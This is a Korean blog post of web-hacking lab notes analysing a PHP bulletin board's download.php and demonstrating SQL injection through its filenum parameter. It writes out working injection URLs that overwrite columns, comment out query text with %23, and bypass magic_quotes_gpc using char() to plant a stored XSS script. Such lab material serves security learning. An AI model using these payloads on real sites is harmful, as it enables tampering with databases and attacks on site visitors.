본문 바로가기
프로그래밍/WEB HACKING

[WEB HACKING] RFI( Remote File Inclusion ) 취약점 / SQL 이용한 취약점( SQL Injection / Blind SQL Injection ) 및 다운로드 페이지 동작 과정 분석

by B T Y 2017. 9. 2.
반응형

RFI( Remote File Inclusion ) 취약점 / SQL 이용한 취약점을 알아보기전 동작 과정 분석에 대해서 정리한다.



- RFI( Remote File Inclusion )


  1). 객체에 대한 직접 참조가 가능

  2). 외부 입력값에 대한 검증


  * 실습 결과 둘중 하나의 조건이라도 만족하지 않았다면 해당 취약점은 발생하지 않았을수 있다.


  - include

  - require

  - include_once

  - require_once




! XSS 취약점 점검


1. 블랙박스 테스팅


  - 소스코드가 공개되어 있지 않은 상황에서 진행

  - 소스코드를 보지 않고 취약점을 검증


2. 화이트박스 테스팅


  - 소스코드를 직접 분석하여 취약점을 검증


  * 두가지 방법을 다 사용하는게 안정성 측면에서 뛰어나다.





- SQL을 이용하는 취약점


  - 대표적인 injection 취약점


  - SQL Injection

  - Blind SQL Injection

    * Blind SQL Injection은 보통 DB 안에 정보 노출을 할때 많이 사용된다.


  - SQL 쿼리 입력을 통해 의도하지 않은 쿼리를 실행하도록 하는 방법




( SQL을 이용한 취약점을 알아보기전에 동작과정의 이해를 위해 먼저 분석을 진행하였다.. )




1. 동작 과정 분석


1). 링크


'download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=13&filenum=1'


  * 페이지 소스 분석을 통하여 해당 링크를 발견했고 다운로드.jpg를 클릭하면 download.php가 동작하다는걸 알 수 있다.



( 페이지 소스 분석을 통해서 링크를 클릭하면 download.php가 동작한다는걸 알수 있기 때문에 

직접 donwload.php에 들어가서 다운로드 횟수를 수정하는 코드가 있는지 찾아봤고 

그 결과 mysql_query() 함수를 이용해서 다운로드 횟수에 대한 update문을 실행하고 있는걸 확인했다.. )



2). download.php


...

44  mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'");

...


분석 쿼리    update zetyx_board_attack set download1=download1+1 where no='13';


실시간 실행 쿼리    1 Query     update zetyx_board_attack set download1=download1+1 where no='13'


    * 분석된 쿼리를 가지고 DB에서 직접 실행을 해주면 실행 결과가 웹상에서도 영향을 받는다는걸 확인 할 수 있다.



! 변수의 정의


프로그램 내부에서 정의: lib.php


39 $t_board = "zetyx_board";



외부에서 정의: GET


id=attack

filenum=1

no='13'


  * download.php에 위 코드를 분석하다가보니 변수를 외부와 내부 둘다를 이용해서 받아오고 있는걸 알수 있었다.






- injection 실습을 위한 mysqld 실행 방법


  mysqld_safe --log=query.log &


    * mysqld_safe는 mysql 데몬을 직접 실행 시키는 방법이다. 

    * 로그를 남기기 위해서 해당 방법으로 실행했다.

       ( &를 줘서 백그라운드에서 동작을 하도록 해준다 )

    * 해당 방법을 이용하면 실시간으로 어떤 쿼리가 실행됬는지 추적해볼 수 있다.




( 다운로드 링크를 클릭했을때 여러동작이 일어나는데 그중 SQL 쿼리를 추적해보기 위해서 

mysql데몬을 직접 mysqld_safe로 백그라운드 실행시켰다 )




( 다운로드 링크 클릭시에 일어나는 동작과정에서 SQL 쿼리를 실시간으로 추적해본 결과 익숙한 update 쿼리가 보였다.. )






2. 취약점 확인



  - 객체에 대한 직접 참조가 가능하기 때문에

  - 입력값에 대한 변조가 쉽게 가능하다



download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=13&filenum=100

->

 update zetyx_board_attack set download100=download100+1 where no='13'



( filenum에 대한 값을 위조해서 보내고 SQL 쿼리에서 download 뒤에있는 컬럼명이 바뀌는걸 확인했다... )



download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=50&filenum=1=100

->

 update zetyx_board_attack set download1=100=download1=100+1 where no='50'



( 컬럼에 대한 위조가 가능하므로 이번에는 filenum의 값을 filenum=1=100이라는 값으로 주고 결과를 확인 해봤다 )



  * sql 주석: --, #, /* */



download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=50&filenum=1=100 #

->

 update zetyx_board_attack set download1=100 =download1=100 +1 where no='50'



( 주석을 이용해서 뒤에 비정상적인 문장을 주석처리 하기위해서 맨 뒤쪽에 #을 추가 시켰지만 

url에서 이미 의미를 가진 기호로 사용이 되서 공백으로만 나타난걸 볼 수 있다.. )



!url에서 입력 불가능한 값

  - url에서 이미 의미있게 사용되는 것들: ?, &, #, ...


  - url encoding: 문자에 대한 헥사값

                  아스키 코드와 동일한 값

                  %아스키 코드값



download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=50&filenum=1=100 %23

->

 update zetyx_board_attack set download1=100 #=download1=100 #+1 where no='50'



( #이라는 기호를 이용하기 위해서 헥사값을 이용해 아스키코드 값으로 23이면 '#'을 나타내기 때문에 

%23을 이용하면 된다... '%아스키코드 값'을 이용하면 url에서 이미 의미가 있는 문자라도 사용이 가능하다 )




( 결과를 보면 SQL injection에 의해서 download1에 대한 다운로드 횟수가 조작이 된걸 볼 수 있다 )



( where을 이용한 조건을 주지 않았기 때문에 download1 컬럼에 대한 전체 값이 모두 변경이 되어

전체 게시글에 첫번째 업로드 파일의 다운로드 횟수가 모두 100으로 변경이 된걸 확인 할 수 있다.. )




[실습] SQL Injection


  - 게시글 본문의 내용을 다음과 같이 바꿀 수 있도록 쿼리를 조작하면 됩니다.


   " Hello, SQL Injection"



download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=50&filenum=1=100,memo='Hello, SQL Injection' %23

->

 update zetyx_board_attack set download1=100,memo='Hello, SQL Injection' #=download1=100,memo='Hello, SQL Injection' #+1 where no='50'

 


( mysql의 기본적인 update 문법과 해당 동작을 이해하고 있다면 간단하게 바꿔 볼 수 있는 내용이다.. )



( string SQL injection은 문자를 입력할때 ', " 기호를 사용해야 한다는 점이 있어서 해당 부분을 이용하면 방어를 할 수 있다..

하지만 그걸 또 우회 할 수 있는 방법 또한 존재한다... )


1). numeric SQL injection


2). string SQL injection


  - php 5.3까지만 사용 가능

  - magic_quotes_GPC 설정을 이용해 방어 가능

    ( /etc/php.ini에서 745 magic_quotes_gpc = On으로 설정을 변경 해주면 사용 가능하다 )


    * 성능에 대한 이유로 php 5.4부터는 제외가 되고 해당 기능을 대신하는 함수가 나왔다.

      ( 함수를 이용해서 개발자가 취약한 입력에 대한 부분만 체크를 해줌으로써 성능을 올린다 )



( php 설정파일인 /etc/php.ini에 들어가보면 magic_quotes_gpc에 대한 설정을 할 수 있다 )



download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=50&filenum=1=100,memo='after magic quotes' %23

->

 update zetyx_board_attack set download1=100,memo=\'after magic quotes\' #=download1=100,memo=\'after magic quotes\' #+1 where no='50'



( magic_quotes_gpc 설정에 대한 동작을 알아보기 위해서 아까전에 했던 string SQL injection에 내용만 바꿔서

다시한번 실행을 해봤고 쿼리 결과는 오른쪽과 같이 \로 인해서 제대로 실행이 되지 못한다... )



( 게시글에 결과를 확인해봐도 해당 쿼리가 의도한대로 정상적으로 실행이 되지 않은걸 확인할 수 있다 )



우회기법


1. 문자열을 입력할 때 꼭 ', "을 사용해야 하는가?


2. 문자열을 표현할 수 있는 또 다른 방법이 있는가?


해결: mysql 내장함수를 사용

  - char() 함수 안에 10진수 혹은 16진수를 넣으면 해당 되는 아스키코드 값의 문자로 변환해서 표현해준다.


    * 이 부분을 이용하면 magic_quotes_gpc 설정이 켜져있어도 우회가 가능할 것이다.

     ( ', " 없이 문자열 값을 넣을수 있을것이다... )



( SQL 내장함수인 char() 함수는 함수안에 있는 10진수나 16진수 값을 해당 아스키코드값 문자로 바꿔 문자로 출력해주는 함수이다 )



[실습] magic_quotes_gpc 설정 우회하기


  - magic_quotes_gpc 설정이 켜져있는 상태에서 우회해서 다음과 같은 값으로 게시글을 변조

  - 이 설정을 우회하기 위해서는 ', "와 같은 기호를 사용하지 않고 SQL 쿼리 안에서 문자를 작성 할 수 있어야 한다.


    <script> alert('xss'); </script>



download.php?id=attack&page=1&page_num=20&category=&sn=&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=&no=50&filenum=1=100,memo=char( 60,115,99,114,105,112,116,62,97,108,101,114,116,40,39,120,115,115,39,41,59,60,47,115,99,114,105,112,116,62 ) %23



( char()함수를 이용해서 <script> alert('xss') </script> 내용을 아스키코드값으로 바꿔서 char() 함수에 넣어준다 )



( magic_quotes_gpc 설정이 켜져있음에도 불구하고 ', " 기호를 사용하지 않고 char() 함수를 이용해서 

문자를 작성할 수 있기 때문에 우회가 가능해지고 자바스크립트 코드 또한 실행을 시켰다.. )









반응형

댓글